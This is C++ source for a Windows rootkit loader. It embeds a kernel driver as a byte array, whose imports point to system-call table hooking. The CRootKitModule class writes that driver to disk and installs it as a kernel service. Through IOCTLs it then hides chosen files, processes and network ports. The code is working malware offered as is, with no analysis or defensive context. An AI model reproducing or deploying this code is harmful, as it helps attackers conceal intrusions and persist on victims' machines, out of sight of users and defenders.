"\x4e\xe6\x40\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xa1\x00\x30\x01\x00\x85\xc0\xb9\x4e\xe6\x40\xbb\x74\x04\x3b\xc1" "\x75\x19\xa1\x3c\x20\x01\x00\x8b\x00\x35\x00\x30\x01\x00\xa3\x00" "\x30\x01\x00\x75\x06\x89\x0d\x00\x30\x01\x00\xe9\x82\xd1\xff\xff" "\x58\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x42\x00\x00" "\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x9c\x40\x00\x00\xb2\x40\x00\x00" "\xc4\x40\x00\x00\xdc\x40\x00\x00\xf4\x40\x00\x00\x0c\x41\x00\x00" "\x1e\x41\x00\x00\x32\x41\x00\x00\x46\x41\x00\x00\x58\x41\x00\x00" "\x78\x41\x00\x00\x8c\x41\x00\x00\xa8\x41\x00\x00\xc0\x41\x00\x00" "\xdc\x41\x00\x00\xf4\x41\x00\x00\x00\x00\x00\x00\xf1\x01\x49\x6f" "\x66\x43\x6f\x6d\x70\x6c\x65\x74\x65\x52\x65\x71\x75\x65\x73\x74" "\x00\x00\x5e\x01\x49\x6f\x44\x65\x6c\x65\x74\x65\x44\x65\x76\x69" "\x63\x65\x00\x00\x60\x01\x49\x6f\x44\x65\x6c\x65\x74\x65\x53\x79" "\x6d\x62\x6f\x6c\x69\x63\x4c\x69\x6e\x6b\x00\x00\x3b\x04\x52\x74" "\x6c\x49\x6e\x69\x74\x55\x6e\x69\x63\x6f\x64\x65\x53\x74\x72\x69" "\x6e\x67\x00\x00\x54\x01\x49\x6f\x43\x72\x65\x61\x74\x65\x53\x79" "\x6d\x62\x6f\x6c\x69\x63\x4c\x69\x6e\x6b\x00\x00\x4b\x01\x49\x6f" "\x43\x72\x65\x61\x74\x65\x44\x65\x76\x69\x63\x65\x00\x00\x1e\x04" "\x52\x74\x6c\x46\x72\x65\x65\x41\x6e\x73\x69\x53\x74\x72\x69\x6e" "\x67\x00\xd7\x03\x52\x74\x6c\x43\x6f\x6d\x70\x61\x72\x65\x4d\x65" "\x6d\x6f\x72\x79\x00\x00\xc9\x04\x52\x74\x6c\x55\x70\x70\x65\x72" "\x53\x74\x72\x69\x6e\x67\x00\x00\xb5\x04\x52\x74\x6c\x55\x6e\x69" "\x63\x6f\x64\x65\x53\x74\x72\x69\x6e\x67\x54\x6f\x41\x6e\x73\x69" "\x53\x74\x72\x69\x6e\x67\x00\x00\x37\x04\x52\x74\x6c\x49\x6e\x69" "\x74\x41\x6e\x73\x69\x53\x74\x72\x69\x6e\x67\x00\x69\x02\x4b\x65" "\x53\x65\x72\x76\x69\x63\x65\x44\x65\x73\x63\x72\x69\x70\x74\x6f" "\x72\x54\x61\x62\x6c\x65\x00\x00\x65\x05\x5a\x77\x51\x75\x65\x72" "\x79\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x46\x69\x6c\x65\x00\x00" "\x75\x05\x5a\x77\x51\x75\x65\x72\x79\x53\x79\x73\x74\x65\x6d\x49" "\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x00\x00\x3b\x05\x5a\x77" "\x44\x65\x76\x69\x63\x65\x49\x6f\x43\x6f\x6e\x74\x72\x6f\x6c\x46" "\x69\x6c\x65\x00\x7f\x02\x4b\x65\x54\x69\x63\x6b\x43\x6f\x75\x6e" "\x74\x00\x6e\x74\x6f\x73\x6b\x72\x6e\x6c\x2e\x65\x78\x65\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x10\x00\x00\xb0\x00\x00\x00\xa4\x30\xbc\x30\x19\x31\x23\x31" "\x34\x31\x4d\x31\xd7\x31\xdc\x31\xfc\x31\x14\x32\x28\x32\x3c\x32" "\x43\x32\x56\x32\x5d\x32\x98\x32\xa0\x32\xaa\x32\xef\x32\xf5\x32" "\x1b\x33\x2c\x33\x4f\x33\x64\x33\xb4\x33\xd0\x33\xdc\x33\xe2\x33" "\xef\x33\x04\x34\x0d\x34\x24\x34\x3c\x34\x41\x34\x4c\x34\x61\x34" "\x73\x34\x84\x34\xc2\x34\xd1\x34\xda\x34\xed\x34\x0d\x35\x23\x35" "\x4b\x35\x6a\x35\x97\x35\xc0\x35\xcc\x35\xd2\x35\xdf\x35\xf4\x35" "\xfd\x35\x14\x36\x2c\x36\x31\x36\x3c\x36\x51\x36\x61\x36\x6f\x36" "\x87\x36\x97\x36\xb0\x36\xe4\x36\x51\x37\x6c\x37\x03\x38\x1e\x38" "\x8d\x38\x9b\x38\xb3\x38\xc3\x38\xdc\x38\xe8\x38\xf4\x38\xfa\x38" "\x07\x39\x1c\x39\x25\x39\x3c\x39\x54\x39\x59\x39\x64\x39\x79\x39" "\x00\x40\x00\x00\x14\x00\x00\x00\x01\x30\x13\x30\x1a\x30\x1f\x30" "\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; CRootKitModule::~CRootKitModule(void) { CloseServiceHandle(m_hSCManager); } bool CRootKitModule::InitInstance() { m_hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(m_hSCManager == NULL) return false; m_strDriverName = L""; return true; } void CRootKitModule::Test() { //.. } BOOL CRootKitModule::InstallService(SC_HANDLE hSCManager, LPCTSTR ServiceName, LPCTSTR ServiceExe) { SC_HANDLE schService; schService = CreateService( hSCManager, // SCManager database ServiceName, // name of service ServiceName, // name to display SERVICE_ALL_ACCESS, // desired access SERVICE_KERNEL_DRIVER, // service type SERVICE_DEMAND_START, // start type SERVICE_ERROR_NORMAL, // error control type ServiceExe, // service's binary NULL, // no load ordering group NULL, // no tag identifier NULL, // no dependencies NULL, // LocalSystem account NULL // no password ); if (schService == NULL) { return FALSE; } CloseServiceHandle(schService); return TRUE; } BOOL CRootKitModule::StartService(SC_HANDLE hSCManager, LPCTSTR ServiceName) { SC_HANDLE schService = NULL; int nRet = 0; schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS); if(schService == NULL) { if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { return FALSE; } return FALSE; } nRet = ::StartService(schService, 0, NULL); if(!nRet) { if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) { return nRet; } } CloseServiceHandle(schService); return nRet; } BOOL CRootKitModule::StopService(SC_HANDLE hSCManager, LPCTSTR ServiceName) { SC_HANDLE schService = NULL; SERVICE_STATUS ServiceStatus; int nRet = 0; schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS); if(schService == NULL) return FALSE; nRet = ControlService(schService, SERVICE_CONTROL_STOP, &ServiceStatus); if(!nRet) { switch(GetLastError()) { case ERROR_SERVICE_NOT_ACTIVE: return nRet; case ERROR_INVALID_SERVICE_CONTROL: return nRet; } } CloseServiceHandle(schService); return nRet; } BOOL CRootKitModule::RemoveService(SC_HANDLE hSCManager, LPCTSTR ServiceName) { SC_HANDLE schService; int nRet = 0; schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS); if(schService == NULL) return FALSE; nRet = DeleteService(schService); CloseServiceHandle(schService); return nRet; } HANDLE CRootKitModule::_CreateFile() { return CreateFile(MY_DEVICE_NAME,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); } bool CRootKitModule::DeleteDriver(LPCTSTR szDriver ) { if( !szDriver) { StopService(m_hSCManager, szDriver); return !!RemoveService(m_hSCManager, szDriver); } StopService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str())); return !!RemoveService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str())); } bool CRootKitModule::CreateDriver(LPCSTR szFileName, LPCSTR szDriver) { HANDLE hFile=CreateFile(szFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); DWORD dwBytes; WriteFile(hFile,g_szRootKitModule,sizeof(g_szRootKitModule) - 1,&dwBytes,NULL); CloseHandle(hFile); m_strDriverName = ATL::CT2W(szDriver); StopDriver(); RemoveService(m_hSCManager, szDriver); if ( !InstallService(m_hSCManager, szDriver, szFileName) ) return false; return true; } bool CRootKitModule::StartDriver() { return !!StartService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str())); } bool CRootKitModule::StopDriver() { return !!StopService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str())); } bool CRootKitModule::AddHideFile(LPCTSTR szFile) { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256]; strcpy(szInBuff, ATL::CT2A(szFile)); _strupr(szInBuff); DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEFILE,szInBuff,(DWORD)strlen(szFile), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::DelHideFile(LPCTSTR szFile) { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256]; strcpy(szInBuff, ATL::CT2A(szFile)); _strupr(szInBuff); DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEFILE,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::StartHideFile() { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256] = ""; DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEFILE,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::AddHideProcessId(DWORD dwId) { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256] = ""; memcpy(szInBuff, &dwId, sizeof(DWORD)); DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::DelHideProcessId(DWORD dwId) { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256] = ""; memcpy(szInBuff, &dwId, sizeof(DWORD)); DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::StartHideProcess() { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256] = ""; DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::AddHidePort(DWORD dwPort) { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256] = ""; memcpy(szInBuff, &dwPort, sizeof(DWORD)); DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::DelHidePort(DWORD dwPort) { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256] = ""; memcpy(szInBuff, &dwPort, sizeof(DWORD)); DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; } bool CRootKitModule::StartHidePort() { HANDLE hDevice = _CreateFile(); if (hDevice==INVALID_HANDLE_VALUE) return false; char szInBuff[256] = ""; DWORD dwBytesReturned; if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) { CloseHandle(hDevice); return FALSE; } CloseHandle(hDevice); return true; }